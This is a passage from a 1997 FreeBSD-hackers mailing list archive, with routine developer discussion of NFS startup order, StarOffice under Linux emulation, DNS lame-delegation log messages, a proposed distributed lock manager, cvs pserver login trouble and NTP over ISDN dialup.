"Tue, 16 Sep 1997 13:19:34 GMT." <199709161319.NAA07617@fang.cs.sunyit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 09:13:31 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Is there anything like SunOS's SCSI general driver 'scg' for freebsd.? > I was looking through a number of the linux cdrecording applications and > noticed that most used the scg driver. 'man 4 scsi' mike From owner-freebsd-hackers Tue Sep 16 16:55:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA27997 for hackers-outgoing; Tue, 16 Sep 1997 16:55:56 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@korea-173.ppp.hooked.net [206.169.225.173]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA27992 for ; Tue, 16 Sep 1997 16:55:51 -0700 (PDT) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.7/8.8.7) with SMTP id QAA03060 for ; Tue, 16 Sep 1997 16:56:34 -0700 (PDT) X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Tue, 16 Sep 1997 16:56:34 -0700 (PDT) From: Alex To: freebsd-hackers@freebsd.org Subject: Re: cvs commit: src/sys/i386/i386 machdep.c In-Reply-To: <199709161424.QAA27601@bitbox.follo.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 16 Sep 1997, Eivind Eklund wrote: > > > > davidg 1997/09/16 03:45:11 PDT > > > > Modified files: (Branch: RELENG_2_2) > > sys/i386/i386 machdep.c > > Log: > > Bring in changes from revs 1.262 & 1.263: speculative memory probe for > > machines with >64MB of RAM. > > This still won't work on Compaqs and Dells - they report 16MB in the > RTC memory, and expect you to use the (EISA?) BIOS to find the rest. > (Not that I have a good solution for this, just FYI) > > Eivind. Speaking of which, I noticed an option for OS/2 >64 MB DRAM in my BIOS setup (Award something or other). Since I only have 64 mb right now I doubt it would do me much good, but does anyone know what enabling that with >64mb ram would do? - alex From owner-freebsd-hackers Tue Sep 16 17:11:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA28965 for hackers-outgoing; Tue, 16 Sep 1997 17:11:53 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA28960; Tue, 16 Sep 1997 17:11:49 -0700 (PDT) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id AAA22852; Wed, 17 Sep 1997 00:48:05 +0100 (BST) Message-Id: <199709162348.AAA22852@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: Greg Lehey cc: Brian Somers , freebsd-questions@FreeBSD.ORG, FreeBSD Hackers Subject: Re: nfs startup In-reply-to: Your message of "Tue, 16 Sep 1997 10:59:40 +0930." <19970916105940.15713@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 00:48:04 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Thu, Sep 04, 1997 at 11:31:48PM +0100, Brian Somers wrote: > > This has to be a dumb question, but I can't fathom it. > > > > /etc/rc sources /etc/rc.network and then runs network_pass1. > > Directly afterwards, it runs ``mount -a -t nfs''. > > > > However, network_pass3 (invoked much later) starts nfsiod along with > > the other nfs stuff. > > You don't need nfsiod for mounting, but you do need to resolve the > names. If you're running a name server, I don't think it's reasonable > to expect an /etc/hosts entry for each system you're mounting NFS file > systems from. Unfortunately, named doesn't get started until > network_pass2, so this can't work in a name server environment. > > Here's a suggested patch: [.....] But what about starting named in network_pass1 ? > The & after the mount command is to let it continue to try to mount > file systems on systems which are not currently up; otherwise system > startup will hang at this point. As you see, I also agree with the > sentiment that the messages should be seen. I've already removed the /dev/null bit, and agree that the & is a good idea too. > Greg -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Tue Sep 16 17:16:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA29357 for hackers-outgoing; Tue, 16 Sep 1997 17:16:20 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA29334; Tue, 16 Sep 1997 17:16:13 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id JAA00991; Wed, 17 Sep 1997 09:45:59 +0930 (CST) Message-ID: <19970917094559.47017@lemis.com> Date: Wed, 17 Sep 1997 09:45:59 +0930 From: Greg Lehey To: Brian Somers Cc: freebsd-questions@FreeBSD.ORG, FreeBSD Hackers Subject: Re: nfs startup References: <19970916105940.15713@lemis.com> <199709162348.AAA22852@awfulhak.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709162348.AAA22852@awfulhak.demon.co.uk>; from Brian Somers on Wed, Sep 17, 1997 at 12:48:04AM +0100 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Sep 17, 1997 at 12:48:04AM +0100, Brian Somers wrote: >> On Thu, Sep 04, 1997 at 11:31:48PM +0100, Brian Somers wrote: >>> This has to be a dumb question, but I can't fathom it. >>> >>> /etc/rc sources /etc/rc.network and then runs network_pass1. >>> Directly afterwards, it runs ``mount -a -t nfs''. >>> >>> However, network_pass3 (invoked much later) starts nfsiod along with >>> the other nfs stuff. >> >> You don't need nfsiod for mounting, but you do need to resolve the >> names. If you're running a name server, I don't think it's reasonable >> to expect an /etc/hosts entry for each system you're mounting NFS file >> systems from. Unfortunately, named doesn't get started until >> network_pass2, so this can't work in a name server environment. >> >> Here's a suggested patch: > [.....] > > But what about starting named in network_pass1 ? If you like. I thought one was about as good as the other, but starting named earlier might forestall other potential hang conditions. Greg From owner-freebsd-hackers Tue Sep 16 17:36:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA00634 for hackers-outgoing; Tue, 16 Sep 1997 17:36:14 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id RAA00607 for ; Tue, 16 Sep 1997 17:36:03 -0700 (PDT) Received: (qmail 489 invoked by uid 1000); 17 Sep 1997 00:36:08 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 In-Reply-To: <341EDD69.9EA2140E@ptway.com> Date: Tue, 16 Sep 1997 17:36:08 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Brian Haskin Subject: Re: Fast Encryption (in kernel) seeked - Conclusion Cc: FreeBSD-Hackers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Thanx to all for the input. It really helped. I ended up issuing a random cookie with each request. Upon re-entry into the kernel, the data structure is searched for in the in-kernel database. If found, the cookie is compared. If comparison failed, we reject the call. The performance implications will be studied later this week. --- Sincerely Yours, (Sent on 16-Sep-97, 17:30:34 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 18:00:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA01809 for hackers-outgoing; Tue, 16 Sep 1997 18:00:10 -0700 (PDT) Received: from blackhole.iceworld.org (griffin@blackhole.iceworld.org [204.246.64.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA01797 for ; Tue, 16 Sep 1997 18:00:05 -0700 (PDT) Received: from localhost (griffin@localhost) by blackhole.iceworld.org (8.8.7/8.8.5) with SMTP id UAA04242 for ; Tue, 16 Sep 1997 20:00:02 -0500 (CDT) Date: Tue, 16 Sep 1997 20:00:02 -0500 (CDT) From: Jimbo Bahooli To: freebsd-hackers@freebsd.org Subject: lets get ipfilter as default Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Seeing ipfilter sitting in /usr/src/contrib, in a mostly disfunctional state, I find it irritating. Why not replace ipfw with it, I can find no advantage that ipfw has, other then being old and traditional. It is clearly better, and if its not integrated because it doesnt work, that is incorrect. When the first version came out with a freebsd port, proff patched it all up and it worked great. His patches may still be rotting in incoming on ftp.freebsd.org. I mean 3.0 is going to have SMP, why not give it a modern firewall program. From owner-freebsd-hackers Tue Sep 16 18:01:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA01930 for hackers-outgoing; Tue, 16 Sep 1997 18:01:25 -0700 (PDT) Received: from w2xo.pgh.pa.us (w2xo.pgh.pa.us [206.210.70.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA01925 for ; Tue, 16 Sep 1997 18:01:22 -0700 (PDT) Received: from w2xo.pgh.pa.us (w2xo.pgh.pa.us [206.210.70.5]) by w2xo.pgh.pa.us (8.8.5/8.8.4) with SMTP id VAA05946; Tue, 16 Sep 1997 21:00:44 -0400 (EDT) Message-ID: <341F2BBC.167EB0E7@w2xo.pgh.pa.us> Date: Tue, 16 Sep 1997 21:00:44 -0400 From: Jim Durham Organization: Dis- X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 3.0-970618-SNAP i386) MIME-Version: 1.0 To: Søren Schmidt CC: hackers@FreeBSD.ORG Subject: Re: StarOffice... References: <199709160648.IAA25700@sos.freebsd.dk> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Søren Schmidt wrote: > > In reply to The Hermit Hacker who wrote: > > > > > > Hi... > > > > I'm running a current 3.0 system, and am wondering if anyone is > > having problems running StarOffice? I've got linux_mod loaded, as shown > > by modstat. and try 'scalc3'...the process starts up, consumes a bunch of > > CPU and then slowly degenerates into an idle process... > > > > Anyone with similar experience? > > Yes, if I run the XF86SVGA server it just hangs there, if I use the > XF86_S3V or Xaccell servers it works just fine, no waits no nothing. > (It does take a bit to startup and show the advertizing, but thats > normal and intended). > What is "a bit"? I take it that's 15 secs or so? I am running the XF86SVGA server. How about you other folks? I have to confess, the reason why the X server type would cause the program to hang doesn't exactly jump right out at me 8-) . Maybe there's an X guru lurking that can hazard a guess? -- Jim Durham From owner-freebsd-hackers Tue Sep 16 18:46:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA04255 for hackers-outgoing; Tue, 16 Sep 1997 18:46:42 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA04249 for ; Tue, 16 Sep 1997 18:46:36 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id LAA01506; Wed, 17 Sep 1997 11:16:33 +0930 (CST) Message-ID: <19970917111632.60309@lemis.com> Date: Wed, 17 Sep 1997 11:16:32 +0930 From: Greg Lehey To: FreeBSD Hackers Subject: What does this message mean? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm just checking through my DNS logs (4.9.4-REL in current), and I see a couple of: Sep 13 10:17:04 freebie named[55]: ns_resp: query(lemis.com) contains our address (FREEBIE.lemis.com:192.109.197.137) learnt (A=198.41.0.4:NS=198.41.0.4) I checked out the A record; it's a.root-servers.net. If I interpret the comments in the source correctly, this is a kind of lame delegation: /* * if we are being asked to fwd a query whose * nameserver list includes our own name/address(es), * then we have detected a lame delegation and rather * than melt down the network and hose down the other * servers (who will hose us in return), we'll return * -1 here which will cause SERVFAIL to be sent to * the client's resolver which will hopefully then * shut up. * * (originally done in nsContainsUs by vix@dec mar92; * moved into nslookup by apb@und jan1993) * * try to limp along instead of denying service * gdonl mar96 */ if (aIsUs(nsa)) { static char *complaint = "contains our address"; nslookupComplain(sysloginfo, syslogdname, complaint, dname, dp, nsdp); continue; } Can anybody explain this to me in more detail? Does this mean that the root name servers are now sending out invalid queries, or are they just forwarding them from other servers? Greg From owner-freebsd-hackers Tue Sep 16 18:49:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA04506 for hackers-outgoing; Tue, 16 Sep 1997 18:49:48 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA04490 for ; Tue, 16 Sep 1997 18:49:42 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id LAA01520; Wed, 17 Sep 1997 11:19:28 +0930 (CST) Message-ID: <19970917111928.43507@lemis.com> Date: Wed, 17 Sep 1997 11:19:28 +0930 From: Greg Lehey To: Jim Durham Cc: =?iso-8859-1?Q?S=F8ren_Schmidt?= , hackers@FreeBSD.ORG Subject: Re: StarOffice... References: <199709160648.IAA25700@sos.freebsd.dk> <341F2BBC.167EB0E7@w2xo.pgh.pa.us> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.81e In-Reply-To: <341F2BBC.167EB0E7@w2xo.pgh.pa.us>; from Jim Durham on Tue, Sep 16, 1997 at 09:00:44PM -0400 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, Sep 16, 1997 at 09:00:44PM -0400, Jim Durham wrote: > Søren Schmidt wrote: >> >> In reply to The Hermit Hacker who wrote: >>> >>> >>> Hi... >>> >>> I'm running a current 3.0 system, and am wondering if anyone is >>> having problems running StarOffice? I've got linux_mod loaded, as shown >>> by modstat. and try 'scalc3'...the process starts up, consumes a bunch of >>> CPU and then slowly degenerates into an idle process... >>> >>> Anyone with similar experience? >> >> Yes, if I run the XF86SVGA server it just hangs there, if I use the >> XF86_S3V or Xaccell servers it works just fine, no waits no nothing. >> (It does take a bit to startup and show the advertizing, but thats >> normal and intended). >> > > What is "a bit"? I take it that's 15 secs or so? > > I am running the XF86SVGA server. How about you other folks? I've tried it on both. Sometimes it works immediately, other times it hangs apparently misinterpreting name server replies. > I have to confess, the reason why the X server type would cause > the program to hang doesn't exactly jump right out at me 8-) . > Maybe there's an X guru lurking that can hazard a guess? I don't think the X server is the real reason. I suspect it's just passively helping the bug to surface. If I were to suspect anything, it would be the Linux emulation package. Who could tell us if Linux users have seen this problem? In that connection, I seem to recall seeing some mention about needing a Linux version of resolv.conf, but I can't recall where. Any pointers? Greg From owner-freebsd-hackers Tue Sep 16 19:35:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA06549 for hackers-outgoing; Tue, 16 Sep 1997 19:35:56 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id TAA06544 for ; Tue, 16 Sep 1997 19:35:53 -0700 (PDT) Received: (qmail 1264 invoked by uid 1000); 17 Sep 1997 02:36:16 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Date: Tue, 16 Sep 1997 19:36:15 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: FreeBSD-Hackers@FreeBSD.org Subject: Distributed Lock Manager on FreeBSD Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk We are putting the finishing touches on a true general purpose distributed lock manager for FreeBSD. This message is a solicitation for interest. If I receive enough interest in it I will start a chain of discussions on the subject and solicit core review for inclusion in FreeBSD. This may not be easy as some of my management would like to keep it proprietary. To illustrate, an Oracle equivalent (subset, really) had a cost of over $250,000 for the source and about 1/5 for binary. VERY BRIEF SUMMARY: DLM is a method by which cooperating processes on different machines (even different operating systems) can inform each other of interest in a named object. Just like a database lock manager, or a file system lock manager, but with the ability to span hosts in real time. Some highlight of this DLM: * Kernel implementation; All the locking logic is in the O/S kernel, not in userspace. * Multi-state, hirerchial lock with up to 32 states per lock. * Conflict resolution built in; Caller can specify which states to consider in conflict analysis. * Conflict Blocking; Caller can specify which conflict to block on. * Programmable conflict block; Allows caller to specify how long to wait. * Multiple-locking. Individual states can accumulate; A locker can specify that multiple ``read'' locks are permitted. the DLM will track how many are actually applied. * Remote Locking; A call to the local DLM agent for locking a remote resource is automatically proxied. * Shared Locking; If a resource is shared, the DLM will apply both local and remote lock and automatically/instantly resolve deadlocks. * Multi-path; Each resource can have its own data path (TCP/IP, SCSI, RCS-232, etc.) UDP support is running, SCSI support via DPT is forthcoming. * External resource management; The mapping of resources is external to the locking agent. * Distributed; There is no central locking authority, although you can easily create one via resource configuration. + What is it good for? We are using it to build our non-stop RDBMS server, which is composed of a group of FreeBSD machines tied to a single disk farm. The RDBMS is PgSQL with the lock manager replaced with the DLM and the storage manager replaced with the DBFS/DIO module I am still working on. If any of this is of any interest to any of you, drop me a line. Please try to do so soon , so I can decide how to document the thing. --- Sincerely Yours, (Sent on 16-Sep-97, 19:18:09 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 20:08:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA08629 for hackers-outgoing; Tue, 16 Sep 1997 20:08:48 -0700 (PDT) Received: from gaia.coppe.ufrj.br (jonny@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA08599 for ; Tue, 16 Sep 1997 20:08:36 -0700 (PDT) Received: (from jonny@localhost) by gaia.coppe.ufrj.br (8.8.7/8.8.7) id AAA15683; Wed, 17 Sep 1997 00:06:38 -0300 (EST) From: Joao Carlos Mendes Luis Message-Id: <199709170306.AAA15683@gaia.coppe.ufrj.br> Subject: Re: login classes In-Reply-To: <19970915161622.40763@aahz.jf.intel.com> from Alan Batie at "Sep 15, 97 04:16:22 pm" To: batie@aahz.jf.intel.com (Alan Batie) Date: Wed, 17 Sep 1997 00:06:38 -0300 (EST) Cc: davidn@labs.usn.blaze.net.au, tom@sdf.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk #define quoting(Alan Batie) // Add smbd (samba) to the list --- I just had to kill it and restart it // manually so that it would pick up enough process resources to let me // print from my PC. I tried to add setusercontext to it, but it started // complaining about having a trapdoor uid/gid and I don't have time at // the moment to figure out all the weird uid stuff they're doing (become // this, unbecome that, etc), since the workaround is pretty easy. // // The default and root classes have plenty of processes, so something isn't // getting setup properly for things that are started out of rc. rc files use the daemon class, which is too conservative... Perhaps we need a change in this class. If possible, in time to 2.2.5. Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Tue Sep 16 20:24:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA09504 for hackers-outgoing; Tue, 16 Sep 1997 20:24:33 -0700 (PDT) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA09498 for ; Tue, 16 Sep 1997 20:24:29 -0700 (PDT) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id MAA00361; Wed, 17 Sep 1997 12:52:08 +0930 (CST) Message-Id: <199709170322.MAA00361@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Greg Lehey cc: Jim Durham , =?iso-8859-1?Q?S=F8ren_Schmidt?= , hackers@FreeBSD.ORG Subject: Re: StarOffice... In-reply-to: Your message of "Wed, 17 Sep 1997 11:19:28 +0930." <19970917111928.43507@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Wed, 17 Sep 1997 12:52:07 +0930 From: Mike Smith Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id UAA09500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I don't think the X server is the real reason. I suspect it's just > passively helping the bug to surface. If I were to suspect anything, > it would be the Linux emulation package. Who could tell us if Linux > users have seen this problem? Try the newsgroups on news.stardiv.de Note that the Linux emulation doesn't come into the picture with the resolver until you get down to the socket level. I can't see how this would be an issue without almost every other Linux networking program barfing its guts. > In that connection, I seem to recall seeing some mention about needing > a Linux version of resolv.conf, but I can't recall where. Any > pointers? cain:~>cat /compat/linux/etc/host.conf order hosts, bind multi on mike From owner-freebsd-hackers Tue Sep 16 21:01:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA11614 for hackers-outgoing; Tue, 16 Sep 1997 21:01:44 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA11609 for ; Tue, 16 Sep 1997 21:01:41 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id VAA24302; Tue, 16 Sep 1997 21:01:29 -0700 (PDT) Message-Id: <199709170401.VAA24302@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Simon Shapiro cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Distributed Lock Manager on FreeBSD In-reply-to: Your message of "Tue, 16 Sep 1997 19:36:15 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 16 Sep 1997 21:01:28 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, Can we implement something like Microsoft's Wolf Pack with your DLM? Tnks, Amancio >From The Desk Of Simon Shapiro : > We are putting the finishing touches on a true general purpose distributed > lock manager for FreeBSD. This message is a solicitation for interest. If > I receive enough interest in it I will start a chain of discussions on the > subject and solicit core review for inclusion in FreeBSD. This may not be > easy as some of my management would like to keep it proprietary. > > To illustrate, an Oracle equivalent (subset, really) had a cost of over > $250,000 for the source and about 1/5 for binary. > > > VERY BRIEF SUMMARY: > > DLM is a method by which cooperating processes on different machines (even > different operating systems) can inform each other of interest in a named > object. Just like a database lock manager, or a file system lock manager, > but with the ability to span hosts in real time. > > Some highlight of this DLM: > > * Kernel implementation; All the locking logic is in the O/S kernel, not > in userspace. > > * Multi-state, hirerchial lock with up to 32 states per lock. > > * Conflict resolution built in; Caller can specify which states to > consider in conflict analysis. > > * Conflict Blocking; Caller can specify which conflict to block on. > > * Programmable conflict block; Allows caller to specify how long to wait. > > * Multiple-locking. Individual states can accumulate; A locker can > specify that multiple ``read'' locks are permitted. the DLM will > track how many are actually applied. > > * Remote Locking; A call to the local DLM agent for locking a remote > resource is automatically proxied. > > * Shared Locking; If a resource is shared, the DLM will apply both local > and remote lock and automatically/instantly resolve deadlocks. > > * Multi-path; Each resource can have its own data path (TCP/IP, SCSI, > RCS-232, etc.) UDP support is running, SCSI support via DPT is > forthcoming. > > * External resource management; The mapping of resources is external to > the locking agent. > > * Distributed; There is no central locking authority, although you can > easily create one via resource configuration. > > + What is it good for? We are using it to build our non-stop RDBMS server, > which is composed of a group of FreeBSD machines tied to a single disk > farm. The RDBMS is PgSQL with the lock manager replaced with the DLM and > the storage manager replaced with the DBFS/DIO module I am still working > on. > > If any of this is of any interest to any of you, drop me a line. Please > try to do so soon , so I can decide how to document the thing. > > > > --- > > > Sincerely Yours, (Sent on 16-Sep-97, 19:18:09 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 > From owner-freebsd-hackers Tue Sep 16 21:29:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA13057 for hackers-outgoing; Tue, 16 Sep 1997 21:29:26 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA12872 for ; Tue, 16 Sep 1997 21:25:08 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id NAA18008 for ; Wed, 17 Sep 1997 13:19:23 +0900 (JST) To: hackers@freebsd.org Subject: cvs pserver mode X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 X-Mailer: comp (MHng project) version 1997/08/04 03:38:46, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Wed, 17 Sep 1997 13:19:22 +0900 Message-ID: <18005.874469962@itojun.csl.sony.co.jp> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk does any of you have trouble using pserver mode of cvs? I got cvs 1.19.10 on /usr/bin/cvs (got from FreeBSD-current) and every time I use login command, cvs bails out with "incorrect password" message. I've tried my UNIX password and cvs password (by making CVSROOT/password), and $CVSROOT with "localhost" and canonical hostname, but they do not seem to change the behavior. >% cvs -d :pserver:itojun@localhost:/export/somewhere/cvsroot login >(Logging in to itojun@localhost) >CVS password: >cvs [login aborted]: incorrect password inetd.conf is as follows: >cvspserver stream tcp nowait root /usr/bin/cvs cvs -b /usr/bin pserver If anybody have some clue for this, please drop me a note. Thanks! itojun From owner-freebsd-hackers Tue Sep 16 21:32:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA13377 for hackers-outgoing; Tue, 16 Sep 1997 21:32:11 -0700 (PDT) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA13354 for ; Tue, 16 Sep 1997 21:32:06 -0700 (PDT) Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id GAA29657; Wed, 17 Sep 1997 06:31:55 +0200 (MET DST) Date: Wed, 17 Sep 1997 06:31:55 +0200 (MET DST) Message-Id: <199709170431.GAA29657@bitbox.follo.net> From: Eivind Eklund To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) CC: hackers@FreeBSD.ORG In-reply-to: j@uriah.heep.sax.de's message of Thu, 11 Sep 1997 06:42:31 +0200 Subject: Re: Kernel clock runs inaccurately References: <199709080124.JAA14004@tao.sinanet.com.tw> <19970908081010.DS04250@uriah.heep.sax.de> <199709102025.WAA02815@bitbox.follo.net> <19970911064231.JG62790@uriah.heep.sax.de> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > As Eivind Eklund wrote: > > > > (They are probably living in somewhat of an ivory tower with > > > good NTP refclocks readily available on a cheap Internet, something > > > that is not my situation, sitting behind dialup lines everywhere.) > > > > Shouldn't it be still be possible to set up xntpd with > > drift-correction and synchronization often, and just suppress > > xntpd-messages from starting the ppp-link? > > Too expensive still. The dialup itself is ISDN, so the setup time is > ~ 2 seconds or less, but having an xntpd calling each 5 or 15 minutes > would greatly increase our phone and Internet costs. I was suggesting _suppressing_ dial-out when xntpd tried to send a packet. Ie, something similar to the dial filter in IIJ-PPP, ignoring NTP-packets. No call every 15 minutes, just a synchronization when you're online for another reason. With a continuous connection, though, xntpd is supposed to lower the check-interval as it get more info on your clock-drift, ending up at once every 6 hours or so. The timing on an ISDN-link might not be 